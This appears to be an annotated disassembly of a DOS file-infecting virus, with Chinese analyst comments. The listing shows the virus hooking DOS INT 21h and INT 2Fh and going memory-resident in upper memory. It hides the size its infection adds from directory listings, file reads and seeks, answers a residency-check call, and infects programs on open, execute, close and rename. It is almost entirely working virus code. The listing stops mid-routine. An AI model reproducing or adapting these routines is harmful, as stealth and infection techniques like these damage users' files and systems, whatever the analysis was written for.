F6C8:03EF 394403        CMP     [SI+03],AX	;将 CALL SS:[xxxx]


F6C8:03F2 75EC          JNZ     03E0		;改为 CALL CS:053D


F6C8:03F4 C6049A        MOV     BYTE PTR [SI],9A	;截取新 INT 21


F6C8:03F7 C744013D05    MOV     WORD PTR [SI+01],053D	;到 CS:053D


F6C8:03FC 8C4C03        MOV     [SI+03],CS


F6C8:03FF 2E            CS:


F6C8:0400 89365B11      MOV     [115B],SI
F6C8:0404 83FE80        CMP     SI,-80


F6C8:0407 772D          JA      0436


F6C8:0409 4E            DEC     SI


F6C8:040A AD            LODSW   


F6C8:040B 3DFB80        CMP     AX,80FB		;找 FB 80 FC 11 75 0A C0 74


F6C8:040E 75F4          JNZ     0404		;即 CMP AH,11/JNZ XXXX


F6C8:0410 813CFC11      CMP     WORD PTR [SI],11FC	;OR AL,AL/JZ  XXXX


F6C8:0414 75EE          JNZ     0404			;此代码为 INT 2F


F6C8:0416 817C02750A    CMP     WORD PTR [SI+02],0A75	;中断的开始代码


F6C8:041B 75E7          JNZ     0404


F6C8:041D 817C05C074    CMP     WORD PTR [SI+05],74C0


F6C8:0422 75E0          JNZ     0404


F6C8:0424 4E            DEC     SI


F6C8:0425 C6049A        MOV     BYTE PTR [SI],9A	;截取新 INT 2F


F6C8:0428 C744013E04    MOV     WORD PTR [SI+01],043E	;到 CS:043E


F6C8:042D 8C4C03        MOV     [SI+03],CS		;改为 CALL CS:043E


F6C8:0430 4E            DEC     SI


F6C8:0431 2E            CS:


F6C8:0432 89365D11      MOV     [115D],SI


F6C8:0436 07            POP     ES


F6C8:0437 1F            POP     DS


F6C8:0438 61            POPA    


F6C8:0439 EADA101001    JMP     0110:10DA		;转原 INT 2A
;=========================================================================


;	新 INT 2F 中断代码部分


;=========================================================================


F6C8:043E 2E            CS:


F6C8:043F C606C00D3C    MOV     BYTE PTR [0DC0],3C


F6C8:0444 50            PUSH    AX


F6C8:0445 55            PUSH    BP


F6C8:0446 8BEC          MOV     BP,SP


F6C8:0448 80FC11        CMP     AH,11		;模拟原 INT 2F 功能


F6C8:044B 7404          JZ      0451		;CMP AH,11/JNZ xxxx


F6C8:044D 8346040A      ADD     WORD PTR [BP+04],+0A


F6C8:0451 8B460A        MOV     AX,[BP+0A]	;取调用 INT 2F 之地址


F6C8:0454 8CCD          MOV     BP,CS		;如果是病毒自己调用


F6C8:0456 3BC5          CMP     AX,BP		;转原 INT 2F


F6C8:0458 5D            POP     BP


F6C8:0459 58            POP     AX


F6C8:045A 740C          JZ      0468		;


F6C8:045C 3D1612        CMP     AX,1216		;非病毒自己调用


F6C8:045F 7507          JNZ     0468		;则将 1216 功能


F6C8:0461 83C404        ADD     SP,+04		;屏蔽, 出错返回


F6C8:0464 F9            STC     


F6C8:0465 CA0200        RETF    0002


F6C8:0468 CB            RETF    
;==========================================================================


;BOOT 引入时执行 INT 21H 时先执行本子程序


;功能为在第一次执行可执行程序时申请内存块驻留


F6C8:0469 80FC4B        CMP     AH,4B		;非执行程序退出


F6C8:046C 7401          JZ      046F


F6C8:046E C3            RET     


F6C8:046F 60            PUSHA   


F6C8:0470 1E            PUSH    DS


F6C8:0471 06            PUSH    ES


F6C8:0472 0AC0          OR      AL,AL


F6C8:0474 7428          JZ      049E		;执行文件转 049E
F6C8:0476 8BF2          MOV     SI,DX		;装入设备驱动程序


F6C8:0478 AC            LODSB   


F6C8:0479 0AC0          OR      AL,AL


F6C8:047B 75FB          JNZ     0478


F6C8:047D 817CF74D33    CMP     WORD PTR [SI-09],334D


F6C8:0482 7517          JNZ     049B


F6C8:0484 817CF45145    CMP     WORD PTR [SI-0C],4551


F6C8:0489 7510          JNZ     049B


F6C8:048B E89CFD        CALL    022A		;如果装入 QEMM386.SYS


F6C8:048E B80013        MOV     AX,1300		;再次设置新 INT 13H


F6C8:0491 8BD3          MOV     DX,BX


F6C8:0493 CD2F          INT     2F      (Multiplex)


F6C8:0495 2E            CS:


F6C8:0496 C606FF00EB    MOV     BYTE PTR [00FF],EB


F6C8:049B E99B00        JMP     0539
F6C8:049E 2E            CS:			;执行程序时


F6C8:049F C606FF00EB    MOV     BYTE PTR [00FF],EB


F6C8:04A4 B452          MOV     AH,52		;取表之表地址


F6C8:04A6 E85108        CALL    0CFA


F6C8:04A9 26            ES:


F6C8:04AA 8B47FE        MOV     AX,[BX-02]	;取第一块 MCB 地址


F6C8:04AD E8C7FB        CALL    0077		;取最后一块 MCB 地址


F6C8:04B0 8EDB          MOV     DS,BX


F6C8:04B2 8BC3          MOV     AX,BX


F6C8:04B4 034503        ADD     AX,[DI+03]


F6C8:04B7 80FCA0        CMP     AH,A0


F6C8:04BA 760D          JBE     04C9		;不在 UMB 中转 04C9


F6C8:04BC 33F6          XOR     SI,SI		;在 UMB 中则驻留内存


F6C8:04BE E8CDFB        CALL    008E


F6C8:04C1 B9B004        MOV     CX,04B0


F6C8:04C4 F3            REPZ


F6C8:04C5 2E            CS:


F6C8:04C6 A4            MOVSB   


F6C8:04C7 734B          JNB     0514


F6C8:04C9 B80058        MOV     AX,5800		;取内存分配策略


F6C8:04CC E82B08        CALL    0CFA


F6C8:04CF 50            PUSH    AX


F6C8:04D0 B80158        MOV     AX,5801		;设高到低寻找策略


F6C8:04D3 BB8000        MOV     BX,0080


F6C8:04D6 50            PUSH    AX


F6C8:04D7 E82008        CALL    0CFA


F6C8:04DA B80258        MOV     AX,5802		;得到 UMB 链状态


F6C8:04DD E81A08        CALL    0CFA


F6C8:04E0 32E4          XOR     AH,AH


F6C8:04E2 50            PUSH    AX


F6C8:04E3 B80358        MOV     AX,5803		;设新的 UMB 状态


F6C8:04E6 B301          MOV     BL,01		;为将 UMB 加入 DOS 内存链


F6C8:04E8 50            PUSH    AX


F6C8:04E9 E80E08        CALL    0CFA


F6C8:04EC B448          MOV     AH,48		;分配内存


F6C8:04EE BB3801        MOV     BX,0138


F6C8:04F1 E80608        CALL    0CFA


F6C8:04F4 95            XCHG    AX,BP


F6C8:04F5 58            POP     AX


F6C8:04F6 5B            POP     BX


F6C8:04F7 E80008        CALL    0CFA		;恢复分配内存策略


F6C8:04FA 58            POP     AX		;及恢复 UMB 状态


F6C8:04FB 5B            POP     BX


F6C8:04FC E8FB07        CALL    0CFA


F6C8:04FF 33FF          XOR     DI,DI


F6C8:0501 8EC5          MOV     ES,BP


F6C8:0503 4D            DEC     BP


F6C8:0504 8EDD          MOV     DS,BP		;将内存块改为 DOS 使用


F6C8:0506 C745010800    MOV     WORD PTR [DI+01],0008


F6C8:050B 33F6          XOR     SI,SI


F6C8:050D 0E            PUSH    CS


F6C8:050E 1F            POP     DS


F6C8:050F B97713        MOV     CX,1377


F6C8:0512 F3            REPZ


F6C8:0513 A4            MOVSB   		;驻留内存


F6C8:0514 0E            PUSH    CS


F6C8:0515 1F            POP     DS


F6C8:0516 8B3E4502      MOV     DI,[0245]	;将 INT 21 地址


F6C8:051A 8B365D11      MOV     SI,[115D]	;改到新的地址


F6C8:051E C51E5711      LDS     BX,[1157]


F6C8:0522 8C47FE        MOV     [BX-02],ES


F6C8:0525 8C4404        MOV     [SI+04],ES


F6C8:0528 8ED9          MOV     DS,CX


F6C8:052A 8C4502        MOV     [DI+02],ES


F6C8:052D 26            ES:


F6C8:052E C60604013C    MOV     BYTE PTR [0104],3C


F6C8:0533 26            ES:


F6C8:0534 C60658053D    MOV     BYTE PTR [0558],3D


F6C8:0539 07            POP     ES


F6C8:053A 1F            POP     DS


F6C8:053B 61            POPA    


F6C8:053C C3            RET     
;=========================================================================


;	新 INT 21H 代码部分


;=========================================================================


F6C8:053D 2E            CS:


F6C8:053E 8F065711      POP     WORD PTR [1157]	;保存返回地址


F6C8:0542 2E            CS:			;于 1157 (IP) 和 1159 (CS)


F6C8:0543 8F065911      POP     WORD PTR [1159]


F6C8:0547 9C            PUSHF   


F6C8:0548 55            PUSH    BP


F6C8:0549 8BEC          MOV     BP,SP


F6C8:054B 817E045344    CMP     WORD PTR [BP+04],4453


F6C8:0550 5D            POP     BP


F6C8:0551 7504          JNZ     0557		;????


F6C8:0553 9D            POPF    


F6C8:0554 44            INC     SP


F6C8:0555 44            INC     SP


F6C8:0556 C3            RET     
F6C8:0557 9D            POPF    


F6C8:0558 3D0EFF        CMP     AX,FF0E	====>	;BOOT 引入时


F6C8:055B 80FC11        CMP     AH,11		;本句代码为 CALL 0469


F6C8:055E 7235          JB      0595


F6C8:0560 80FC12        CMP     AH,12		;DOS 功能 11,12 (DIR 时使用)


F6C8:0563 7730          JA      0595		;则更改文件长度


F6C8:0565 E82308        CALL    0D8B		;调用原 INT 21 功能


F6C8:0568 0AC0          OR      AL,AL		;成功转 057B


F6C8:056A 740F          JZ      057B


F6C8:056C 50            PUSH    AX


F6C8:056D B81812        MOV     AX,1218		;INT 2F 之 1218 功能


F6C8:0570 E84D08        CALL    0DC0		;取 DOS 调用者寄存器


F6C8:0573 58            POP     AX


F6C8:0574 8904          MOV     [SI],AX		;修改返回值


F6C8:0576 2E            CS:			;返回调用处


F6C8:0577 FF2E5711      JMP     FAR DWORD PTR [1157]
F6C8:057B E86208        CALL    0DE0		;


F6C8:057E 74EC          JZ      056C


F6C8:0580 50            PUSH    AX


F6C8:0581 B42F          MOV     AH,2F


F6C8:0583 E87407        CALL    0CFA


F6C8:0586 26            ES:


F6C8:0587 803FFF        CMP     BYTE PTR [BX],FF


F6C8:058A 7503          JNZ     058F


F6C8:058C 83C307        ADD     BX,+07


F6C8:058F 43            INC     BX


F6C8:0590 BE0200        MOV     SI,0002


F6C8:0593 EB17          JMP     05AC


;==========================================================================


F6C8:0595 80FC4E        CMP     AH,4E


F6C8:0598 7239          JB      05D3


F6C8:059A 80FC4F        CMP     AH,4F


F6C8:059D 7734          JA      05D3


F6C8:059F E8E907        CALL    0D8B


F6C8:05A2 50            PUSH    AX


F6C8:05A3 722B          JB      05D0


F6C8:05A5 B42F          MOV     AH,2F


F6C8:05A7 E85007        CALL    0CFA


F6C8:05AA 33F6          XOR     SI,SI


F6C8:05AC E82808        CALL    0DD7


F6C8:05AF 741F          JZ      05D0


F6C8:05B1 06            PUSH    ES


F6C8:05B2 1F            POP     DS


F6C8:05B3 807F19C8      CMP     BYTE PTR [BX+19],C8


F6C8:05B7 7217          JB      05D0


F6C8:05B9 806F19C8      SUB     BYTE PTR [BX+19],C8


F6C8:05BD C4401A        LES     AX,[BX+SI+1A]


F6C8:05C0 8CC2          MOV     DX,ES


F6C8:05C2 2DC70E        SUB     AX,0EC7


F6C8:05C5 83DA00        SBB     DX,+00


F6C8:05C8 7206          JB      05D0


F6C8:05CA 89401A        MOV     [BX+SI+1A],AX


F6C8:05CD 89501C        MOV     [BX+SI+1C],DX


F6C8:05D0 58            POP     AX


F6C8:05D1 EB99          JMP     056C


;=========================================================================


F6C8:05D3 3D0242        CMP     AX,4202


F6C8:05D6 7526          JNZ     05FE


F6C8:05D8 E8FA06        CALL    0CD5


F6C8:05DB 7621          JBE     05FE


F6C8:05DD E8F707        CALL    0DD7


F6C8:05E0 741C          JZ      05FE


F6C8:05E2 816D11C70E    SUB     WORD PTR [DI+11],0EC7


F6C8:05E7 835D1300      SBB     WORD PTR [DI+13],+00


F6C8:05EB 57            PUSH    DI


F6C8:05EC 1E            PUSH    DS


F6C8:05ED E89B07        CALL    0D8B


F6C8:05F0 1F            POP     DS


F6C8:05F1 5F            POP     DI


F6C8:05F2 814511C70E    ADD     WORD PTR [DI+11],0EC7


F6C8:05F7 83551300      ADC     WORD PTR [DI+13],+00


F6C8:05FB E96EFF        JMP     056C


;==========================================================================


F6C8:05FE 80FC57        CMP     AH,57


F6C8:0601 7520          JNZ     0623


F6C8:0603 E8CF06        CALL    0CD5


F6C8:0606 761B          JBE     0623


F6C8:0608 E8CC07        CALL    0DD7


F6C8:060B 7416          JZ      0623


F6C8:060D 57            PUSH    DI


F6C8:060E 1E            PUSH    DS


F6C8:060F 0AC0          OR      AL,AL


F6C8:0611 7504          JNZ     0617


F6C8:0613 806D10C8      SUB     BYTE PTR [DI+10],C8


F6C8:0617 E87107        CALL    0D8B


F6C8:061A 1F            POP     DS


F6C8:061B 5F            POP     DI


F6C8:061C 804510C8      ADD     BYTE PTR [DI+10],C8


F6C8:0620 E949FF        JMP     056C


;===========================================================================


F6C8:0623 80FC3F        CMP     AH,3F


F6C8:0626 7403          JZ      062B


F6C8:0628 E94901        JMP     0774


F6C8:062B E8A907        CALL    0DD7		;新 INT 21 之 3F 功能


F6C8:062E 74F8          JZ      0628		;执行压缩文件跳过


F6C8:0630 1E            PUSH    DS


F6C8:0631 E8A106        CALL    0CD5		;取文件句柄表地址


F6C8:0634 1F            POP     DS


F6C8:0635 76F1          JBE     0628


F6C8:0637 2E            CS:


F6C8:0638 8C1E6B0C      MOV     [0C6B],DS


F6C8:063C 0E            PUSH    CS


F6C8:063D 1F            POP     DS


F6C8:063E 890E650C      MOV     [0C65],CX


F6C8:0642 8916680C      MOV     [0C68],DX


F6C8:0646 83266F0700    AND     WORD PTR [076F],0000


F6C8:064B 06            PUSH    ES


F6C8:064C 1F            POP     DS


F6C8:064D E85A06        CALL    0CAA		;测试当前文件指针


F6C8:0650 2D4000        SUB     AX,0040


F6C8:0653 83DA00        SBB     DX,+00


F6C8:0656 7320          JNB     0678		;非文件头 40H 字节转 0678


F6C8:0658 034511        ADD     AX,[DI+11]


F6C8:065B 135513        ADC     DX,[DI+13]


F6C8:065E 874515        XCHG    AX,[DI+15]


F6C8:0661 875517        XCHG    DX,[DI+17]


F6C8:0664 8BCA          MOV     CX,DX


F6C8:0666 92            XCHG    AX,DX


F6C8:0667 E8F205        CALL    0C5C


F6C8:066A 7303          JNB     066F


F6C8:066C E9FD00        JMP     076C


F6C8:066F 9C            PUSHF   


F6C8:0670 03D0          ADD     DX,AX


F6C8:0672 E83F06        CALL    0CB4


F6C8:0675 9D            POPF    


F6C8:0676 74F4          JZ      066C


F6C8:0678 06            PUSH    ES


F6C8:0679 E82E06        CALL    0CAA


F6C8:067C 50            PUSH    AX


F6C8:067D 52            PUSH    DX


F6C8:067E E83F06        CALL    0CC0


F6C8:0681 E86A05        CALL    0BEE


F6C8:0684 59            POP     CX


F6C8:0685 5A            POP     DX


F6C8:0686 9C            PUSHF   


F6C8:0687 E82A06        CALL    0CB4


F6C8:068A 9D            POPF    


F6C8:068B C406030F      LES     AX,[0F03]


F6C8:068F 8CC1          MOV     CX,ES


F6C8:0691 1F            POP     DS


F6C8:0692 7303          JNB     0697


F6C8:0694 E9BE00        JMP     0755


F6C8:0697 874511        XCHG    AX,[DI+11]


F6C8:069A 50            PUSH    AX


F6C8:069B 874D13        XCHG    CX,[DI+13]


F6C8:069E 51            PUSH    CX


F6C8:069F E8BA05        CALL    0C5C


F6C8:06A2 8F4513        POP     WORD PTR [DI+13]


F6C8:06A5 8F4511        POP     WORD PTR [DI+11]


F6C8:06A8 7703          JA      06AD


F6C8:06AA E9BF00        JMP     076C


F6C8:06AD E8FA05        CALL    0CAA


F6C8:06B0 0E            PUSH    CS


F6C8:06B1 1F            POP     DS


F6C8:06B2 2B06030F      SUB     AX,[0F03]


F6C8:06B6 1B16050F      SBB     DX,[0F05]


F6C8:06BA 753F          JNZ     06FB


F6C8:06BC 3D4800        CMP     AX,0048


F6C8:06BF 733A          JNB     06FB


F6C8:06C1 05070F        ADD     AX,0F07


F6C8:06C4 96            XCHG    AX,SI


F6C8:06C5 33C0          XOR     AX,AX


F6C8:06C7 8B3E680C      MOV     DI,[0C68]


F6C8:06CB 8E066B0C      MOV     ES,[0C6B]


F6C8:06CF 8B0E650C      MOV     CX,[0C65]


F6C8:06D3 E312          JCXZ    06E7


F6C8:06D5 81FE4F0F      CMP     SI,0F4F


F6C8:06D9 730C          JNB     06E7


F6C8:06DB A4            MOVSB   


F6C8:06DC FF066F07      INC     WORD PTR [076F]


F6C8:06E0 FF06680C      INC     WORD PTR [0C68]


F6C8:06E4 40            INC     AX


F6C8:06E5 E2EE          LOOP    06D5


F6C8:06E7 890E650C      MOV     [0C65],CX


F6C8:06EB E8E705        CALL    0CD5


F6C8:06EE 014515        ADD     [DI+15],AX


F6C8:06F1 83551700      ADC     WORD PTR [DI+17],+00


F6C8:06F5 0BC9          OR      CX,CX


F6C8:06F7 7502          JNZ     06FB


F6C8:06F9 EB71          JMP     076C


F6C8:06FB 0E            PUSH    CS


F6C8:06FC 1F            POP     DS


F6C8:06FD A12B0F        MOV     AX,[0F2B]


F6C8:0700 33D2          XOR     DX,DX


F6C8:0702 050100        ADD     AX,0001


F6C8:0705 13D2          ADC     DX,DX


F6C8:0707 BE0800        MOV     SI,0008


F6C8:070A F7E6          MUL     SI


F6C8:070C 0306310F      ADD     AX,[0F31]


F6C8:0710 83D200        ADC     DX,+00


F6C8:0713 0306030F      ADD     AX,[0F03]


F6C8:0717 1316050F      ADC     DX,[0F05]


F6C8:071B E8B705        CALL    0CD5


F6C8:071E 3B5517        CMP     DX,[DI+17]


F6C8:0721 7232          JB      0755


F6C8:0723 7705          JA      072A


F6C8:0725 3B4515        CMP     AX,[DI+15]


F6C8:0728 762B          JBE     0755


F6C8:072A 2D0800        SUB     AX,0008


F6C8:072D 83DA00        SBB     DX,+00


F6C8:0730 874511        XCHG    AX,[DI+11]


F6C8:0733 50            PUSH    AX


F6C8:0734 875513        XCHG    DX,[DI+13]


F6C8:0737 52            PUSH    DX


F6C8:0738 836D1508      SUB     WORD PTR [DI+15],+08


F6C8:073C 835D1700      SBB     WORD PTR [DI+17],+00


F6C8:0740 E81905        CALL    0C5C


F6C8:0743 9C            PUSHF   


F6C8:0744 83451508      ADD     WORD PTR [DI+15],+08


F6C8:0748 83551500      ADC     WORD PTR [DI+15],+00


F6C8:074C 9D            POPF    


F6C8:074D 8F4513        POP     WORD PTR [DI+13]


F6C8:0750 8F4511        POP     WORD PTR [DI+11]


F6C8:0753 7617          JBE     076C


F6C8:0755 816D11C70E    SUB     WORD PTR [DI+11],0EC7


F6C8:075A 835D1300      SBB     WORD PTR [DI+13],+00


F6C8:075E E8FB04        CALL    0C5C


F6C8:0761 9C            PUSHF   


F6C8:0762 814511C70E    ADD     WORD PTR [DI+11],0EC7


F6C8:0767 83551300      ADC     WORD PTR [DI+13],+00


F6C8:076B 9D            POPF    


F6C8:076C 7203          JB      0771


F6C8:076E B875D5        MOV     AX,D575


F6C8:0771 E9F8FD        JMP     056C


;===========================================================================


F6C8:0774 60            PUSHA   		;病毒驻留检验


F6C8:0775 1E            PUSH    DS		;以 AX = 187F


F6C8:0776 06            PUSH    ES		;   BX = 4453 调用


F6C8:0777 3D7F18        CMP     AX,187F		;返回 AX = 434E


F6C8:077A 7514          JNZ     0790


F6C8:077C 81FB5344      CMP     BX,4453


F6C8:0780 750E          JNZ     0790


F6C8:0782 B81812        MOV     AX,1218		;取返回寄存器地址


F6C8:0785 E83806        CALL    0DC0		;修改返回 AX 值


F6C8:0788 8144024E43    ADD     WORD PTR [SI+02],434E


F6C8:078D E9C201        JMP     0952


;===========================================================================


F6C8:0790 80FC40        CMP     AH,40


F6C8:0793 7403          JZ      0798


F6C8:0795 E9F100        JMP     0889


F6C8:0798 E83A05        CALL    0CD5


F6C8:079B 76F8          JBE     0795


F6C8:079D E81604        CALL    0BB6


F6C8:07A0 FF7505        PUSH    WORD PTR [DI+05]


F6C8:07A3 C54515        LDS     AX,[DI+15]


F6C8:07A6 50            PUSH    AX


F6C8:07A7 1E            PUSH    DS


F6C8:07A8 E81505        CALL    0CC0


F6C8:07AB 7303          JNB     07B0


F6C8:07AD E9C800        JMP     0878


F6C8:07B0 E83B04        CALL    0BEE


F6C8:07B3 9C            PUSHF   


F6C8:07B4 8306030F08    ADD     WORD PTR [0F03],+08


F6C8:07B9 8316050F00    ADC     WORD PTR [0F05],+00


F6C8:07BE 9D            POPF    


F6C8:07BF 7303          JNB     07C4


F6C8:07C1 E99900        JMP     085D


F6C8:07C4 8B441C        MOV     AX,[SI+1C]


F6C8:07C7 33D2          XOR     DX,DX


F6C8:07C9 B90800        MOV     CX,0008


F6C8:07CC F7E1          MUL     CX


F6C8:07CE 034422        ADD     AX,[SI+22]


F6C8:07D1 83D200        ADC     DX,+00


F6C8:07D4 50            PUSH    AX


F6C8:07D5 52            PUSH    DX


F6C8:07D6 0306030F      ADD     AX,[0F03]


F6C8:07DA 1316050F      ADC     DX,[0F05]


F6C8:07DE 050002        ADD     AX,0200


F6C8:07E1 83D200        ADC     DX,+00


F6C8:07E4 8BCA          MOV     CX,DX


F6C8:07E6 92            XCHG    AX,DX


F6C8:07E7 E8CA04        CALL    0CB4


F6C8:07EA 5A            POP     DX


F6C8:07EB 58            POP     AX


F6C8:07EC 2D4000        SUB     AX,0040


F6C8:07EF 83DA00        SBB     DX,+00


F6C8:07F2 B90002        MOV     CX,0200


F6C8:07F5 F7F1          DIV     CX


F6C8:07F7 8BFA          MOV     DI,DX


F6C8:07F9 95            XCHG    AX,BP


F6C8:07FA 83ED01        SUB     BP,+01


F6C8:07FD 722E          JB      082D


F6C8:07FF B9FFFF        MOV     CX,FFFF


F6C8:0802 BAF8FB        MOV     DX,FBF8


F6C8:0805 E8AF04        CALL    0CB7


F6C8:0808 B43F          MOV     AH,3F


F6C8:080A B90002        MOV     CX,0200


F6C8:080D BA4F0F        MOV     DX,0F4F


F6C8:0810 E88C04        CALL    0C9F


F6C8:0813 7263          JB      0878


F6C8:0815 B9FFFF        MOV     CX,FFFF


F6C8:0818 BA08FE        MOV     DX,FE08


F6C8:081B E89904        CALL    0CB7


F6C8:081E B440          MOV     AH,40


F6C8:0820 B90002        MOV     CX,0200


F6C8:0823 BA4F0F        MOV     DX,0F4F


F6C8:0826 E87604        CALL    0C9F


F6C8:0829 73CF          JNB     07FA


F6C8:082B EB4B          JMP     0878


F6C8:082D B9FFFF        MOV     CX,FFFF


F6C8:0830 8D950802      LEA     DX,[DI+0208]


F6C8:0834 F7DA          NEG     DX


F6C8:0836 E87E04        CALL    0CB7


F6C8:0839 B43F          MOV     AH,3F


F6C8:083B 8BCF          MOV     CX,DI


F6C8:083D BA4F0F        MOV     DX,0F4F


F6C8:0840 E85C04        CALL    0C9F


F6C8:0843 7233          JB      0878


F6C8:0845 B9FFFF        MOV     CX,FFFF


F6C8:0848 8D5540        LEA     DX,[DI+40]


F6C8:084B F7DA          NEG     DX


F6C8:084D E86704        CALL    0CB7


F6C8:0850 B440          MOV     AH,40


F6C8:0852 8D4D48        LEA     CX,[DI+48]


F6C8:0855 BA070F        MOV     DX,0F07


F6C8:0858 E84404        CALL    0C9F


F6C8:085B 721B          JB      0878


F6C8:085D E83004        CALL    0C90


F6C8:0860 7216          JB      0878


F6C8:0862 B9FFFF        MOV     CX,FFFF


F6C8:0865 BA39F1        MOV     DX,F139


F6C8:0868 E84F04        CALL    0CBA


F6C8:086B B440          MOV     AH,40


F6C8:086D 41            INC     CX


F6C8:086E E88904        CALL    0CFA


F6C8:0871 E86104        CALL    0CD5


F6C8:0874 806D10C8      SUB     BYTE PTR [DI+10],C8


F6C8:0878 59            POP     CX


F6C8:0879 5A            POP     DX


F6C8:087A E83704        CALL    0CB4


F6C8:087D E85504        CALL    0CD5


F6C8:0880 8F4505        POP     WORD PTR [DI+05]


F6C8:0883 E85303        CALL    0BD9


F6C8:0886 E9C900        JMP     0952


;=========================================================================


F6C8:0889 80FC3E        CMP     AH,3E


F6C8:088C 750C          JNZ     089A


F6C8:088E E82503        CALL    0BB6


F6C8:0891 E8E100        CALL    0975


F6C8:0894 E84203        CALL    0BD9


F6C8:0897 E9B800        JMP     0952


;=========================================================================


F6C8:089A 80FC43        CMP     AH,43


F6C8:089D 7419          JZ      08B8


F6C8:089F 80FC56        CMP     AH,56


F6C8:08A2 7414          JZ      08B8


F6C8:08A4 3D004B        CMP     AX,4B00


F6C8:08A7 7205          JB      08AE


F6C8:08A9 3D054B        CMP     AX,4B05


F6C8:08AC 7603          JBE     08B1


F6C8:08AE E9A100        JMP     0952


F6C8:08B1 7505          JNZ     08B8


F6C8:08B3 8BF2          MOV     SI,DX


F6C8:08B5 C55404        LDS     DX,[SI+04]


;==========================================================================


F6C8:08B8 50            PUSH    AX


F6C8:08B9 E8FA02        CALL    0BB6


F6C8:08BC B8003D        MOV     AX,3D00


F6C8:08BF E83804        CALL    0CFA


F6C8:08C2 720F          JB      08D3


F6C8:08C4 93            XCHG    AX,BX


F6C8:08C5 53            PUSH    BX


F6C8:08C6 52            PUSH    DX


F6C8:08C7 1E            PUSH    DS


F6C8:08C8 E8AA00        CALL    0975


F6C8:08CB 1F            POP     DS


F6C8:08CC 5A            POP     DX


F6C8:08CD 5B            POP     BX


F6C8:08CE B43E          MOV     AH,3E


F6C8:08D0 E82704        CALL    0CFA


F6C8:08D3 E80303        CALL    0BD9


F6C8:08D6 58            POP     AX


F6C8:08D7 3D014B        CMP     AX,4B01


F6C8:08DA 751F          JNZ     08FB


F6C8:08DC 33ED          XOR     BP,BP


F6C8:08DE B8003D        MOV     AX,3D00


F6C8:08E1 E81604        CALL    0CFA


F6C8:08E4 7211          JB      08F7


F6C8:08E6 93            XCHG    AX,BX


F6C8:08E7 E8EB03        CALL    0CD5


F6C8:08EA 7606          JBE     08F2


F6C8:08EC E8D103        CALL    0CC0


F6C8:08EF 7201          JB      08F2


F6C8:08F1 45            INC     BP


F6C8:08F2 B43E          MOV     AH,3E


F6C8:08F4 E80304        CALL    0CFA


F6C8:08F7 0BED          OR      BP,BP


F6C8:08F9 7502          JNZ     08FD


F6C8:08FB EB55          JMP     0952


F6C8:08FD 07            POP     ES


F6C8:08FE 1F            POP     DS


F6C8:08FF 61            POPA    


F6C8:0900 53            PUSH    BX


F6C8:0901 06            PUSH    ES


F6C8:0902 E88604        CALL    0D8B


F6C8:0905 07            POP     ES


F6C8:0906 5F            POP     DI


F6C8:0907 50            PUSH    AX


F6C8:0908 7304          JNB     090E


F6C8:090A 58            POP     AX


F6C8:090B E95EFC        JMP     056C


F6C8:090E B451          MOV     AH,51


F6C8:0910 CD21          INT     21      (DOS)


F6C8:0912 8BEB          MOV     BP,BX


F6C8:0914 BEC70E        MOV     SI,0EC7


F6C8:0917 0E            PUSH    CS


F6C8:0918 1F            POP     DS


F6C8:0919 AD            LODSW   


F6C8:091A E88F02        CALL    0BAC


F6C8:091D 7409          JZ      0928


F6C8:091F 48            DEC     AX


F6C8:0920 26            ES:


F6C8:0921 C47D12        LES     DI,[DI+12]


F6C8:0924 AB            STOSW   


F6C8:0925 A4            MOVSB   


F6C8:0926 EBE2          JMP     090A
F6C8:0928 83C70E        ADD     DI,+0E


F6C8:092B 1E            PUSH    DS


F6C8:092C 26            ES:


F6C8:092D C51D          LDS     BX,[DI]


F6C8:092F 8B0F          MOV     CX,[BX]


F6C8:0931 1F            POP     DS


F6C8:0932 8B440E        MOV     AX,[SI+0E]


F6C8:0935 48            DEC     AX


F6C8:0936 48            DEC     AX


F6C8:0937 AB            STOSW   


F6C8:0938 93            XCHG    AX,BX


F6C8:0939 8D4610        LEA     AX,[BP+10]


F6C8:093C 50            PUSH    AX


F6C8:093D 03440C        ADD     AX,[SI+0C]


F6C8:0940 AB            STOSW   


F6C8:0941 1E            PUSH    DS


F6C8:0942 8ED8          MOV     DS,AX


F6C8:0944 890F          MOV     [BX],CX


F6C8:0946 1F            POP     DS


F6C8:0947 8B4412        MOV     AX,[SI+12]


F6C8:094A AB            STOSW   


F6C8:094B 58            POP     AX


F6C8:094C 034414        ADD     AX,[SI+14]


F6C8:094F AB            STOSW   


F6C8:0950 EBB8          JMP     090A


;==========================================================================


F6C8:0952 07            POP     ES


F6C8:0953 1F            POP     DS


F6C8:0954 61            POPA    		;INT 21 CALL SS:[XXXX]


F6C8:0955 2E            CS:			;的返回地址 (1157)


F6C8:0956 FF365711      PUSH    WORD PTR [1157]


F6C8:095A 55            PUSH    BP


F6C8:095B 2E            CS:


F6C8:095C 8B2E5311      MOV     BP,[1153]	;调用地址


F6C8:0960 8B6E00        MOV     BP,[BP+00]


F6C8:0963 2E            CS:


F6C8:0964 892E5711      MOV     [1157],BP


F6C8:0968 5D            POP     BP


F6C8:0969 2E            CS:


F6C8:096A FF365911      PUSH    WORD PTR [1159]	;调用 INT 21 的段地址


F6C8:096E 2E            CS:


F6C8:096F FF365711      PUSH    WORD PTR [1157]	;调用地址


F6C8:0973 CB            RETF    		;到原 INT 21 功能


F6C8:0974 C3            RET     
;==========================================================================


F6C8:0975 E85D03        CALL    0CD5


F6C8:0978 72FA          JB      0974


F6C8:097A 75F8          JNZ     0974


F6C8:097C 833D01        CMP     WORD PTR [DI],+01


F6C8:097F 75F3          JNZ     0974


F6C8:0981 F645053E      TEST    BYTE PTR [DI+05],3E


F6C8:0985 7514          JNZ     099B


F6C8:0987 BAF503        MOV     DX,03F5


F6C8:098A B004          MOV     AL,04


F6C8:098C EE            OUT     DX,AL


F6C8:098D B504          MOV     CH,04


F6C8:098F E2FE          LOOP    098F


F6C8:0991 EE            OUT     DX,AL


F6C8:0992 B504          MOV     CH,04


F6C8:0994 E2FE          LOOP    0994


F6C8:0996 EC            IN      AL,DX


F6C8:0997 A840          TEST    AL,40


F6C8:0999 75D9          JNZ     0974


F6C8:099B B445          MOV     AH,45


F6C8:099D E85A03        CALL    0CFA


F6C8:09A0 72D2          JB      0974


F6C8:09A2 53            PUSH    BX


F6C8:09A3 93            XCHG    AX,BX


F6C8:09A4 B43E          MOV     AH,3E


F6C8:09A6 E85103        CALL    0CFA


F6C8:09A9 5B            POP     BX


F6C8:09AA 72C8          JB      0974


F6C8:09AC B80045        MOV     AX,4500


F6C8:09AF 864504        XCHG    AL,[DI+04]


F6C8:09B2 A81C          TEST    AL,1C


